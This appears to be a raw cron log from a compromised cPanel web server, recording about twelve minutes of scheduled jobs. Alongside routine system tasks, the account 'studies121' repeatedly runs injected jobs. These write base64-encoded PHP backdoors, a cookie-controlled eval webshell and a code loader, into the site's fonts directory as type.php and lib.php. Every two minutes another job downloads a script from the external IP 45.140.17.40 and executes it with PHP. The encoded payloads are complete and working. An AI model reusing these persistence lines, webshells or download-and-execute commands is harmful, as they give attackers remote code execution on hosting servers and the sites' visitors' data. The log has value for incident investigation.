Sep  8 20:30:01 ip-184-168-122-23 CROND[20103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:31:01 ip-184-168-122-23 CROND[20198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:31:01 ip-184-168-122-23 CROND[20199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:31:01 ip-184-168-122-23 CROND[20201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:31:01 ip-184-168-122-23 CROND[20202]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:31:01 ip-184-168-122-23 CROND[20200]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 20:32:01 ip-184-168-122-23 CROND[20386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:32:01 ip-184-168-122-23 CROND[20389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:32:01 ip-184-168-122-23 CROND[20390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:32:01 ip-184-168-122-23 CROND[20391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:32:01 ip-184-168-122-23 CROND[20392]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:33:01 ip-184-168-122-23 CROND[20478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:33:01 ip-184-168-122-23 CROND[20480]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:33:01 ip-184-168-122-23 CROND[20483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:33:01 ip-184-168-122-23 CROND[20484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:34:02 ip-184-168-122-23 CROND[20570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:34:02 ip-184-168-122-23 CROND[20572]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:34:02 ip-184-168-122-23 CROND[20574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:34:02 ip-184-168-122-23 CROND[20576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:34:02 ip-184-168-122-23 CROND[20577]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:35:01 ip-184-168-122-23 CROND[20671]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:35:01 ip-184-168-122-23 CROND[20673]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 20:35:01 ip-184-168-122-23 CROND[20674]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 20:35:01 ip-184-168-122-23 CROND[20677]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 20:35:01 ip-184-168-122-23 CROND[20678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:35:01 ip-184-168-122-23 CROND[20676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:35:01 ip-184-168-122-23 CROND[20679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:35:01 ip-184-168-122-23 CROND[20675]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 20:36:01 ip-184-168-122-23 CROND[20774]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:36:01 ip-184-168-122-23 CROND[20777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:36:01 ip-184-168-122-23 CROND[20778]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:36:01 ip-184-168-122-23 CROND[20779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:36:01 ip-184-168-122-23 CROND[20776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:37:01 ip-184-168-122-23 CROND[20875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:37:01 ip-184-168-122-23 CROND[20876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:37:01 ip-184-168-122-23 CROND[20878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:37:01 ip-184-168-122-23 CROND[20879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:38:01 ip-184-168-122-23 CROND[20996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:38:01 ip-184-168-122-23 CROND[20998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:38:01 ip-184-168-122-23 CROND[20999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:38:01 ip-184-168-122-23 CROND[21000]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:38:01 ip-184-168-122-23 CROND[21002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:39:01 ip-184-168-122-23 CROND[21180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:39:01 ip-184-168-122-23 CROND[21182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:39:01 ip-184-168-122-23 CROND[21184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:39:01 ip-184-168-122-23 CROND[21186]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:39:01 ip-184-168-122-23 CROND[21187]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 20:40:01 ip-184-168-122-23 CROND[21293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:40:01 ip-184-168-122-23 CROND[21294]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 20:40:01 ip-184-168-122-23 CROND[21296]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:40:01 ip-184-168-122-23 CROND[21297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:40:01 ip-184-168-122-23 CROND[21299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:40:01 ip-184-168-122-23 CROND[21302]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 20:40:01 ip-184-168-122-23 CROND[21303]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 20:40:01 ip-184-168-122-23 CROND[21304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:41:01 ip-184-168-122-23 CROND[21395]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:41:01 ip-184-168-122-23 CROND[21398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:41:01 ip-184-168-122-23 CROND[21397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:41:01 ip-184-168-122-23 CROND[21399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:42:01 ip-184-168-122-23 CROND[21476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:42:01 ip-184-168-122-23 CROND[21478]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:42:01 ip-184-168-122-23 CROND[21479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:42:01 ip-184-168-122-23 CROND[21481]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:42:01 ip-184-168-122-23 CROND[21482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
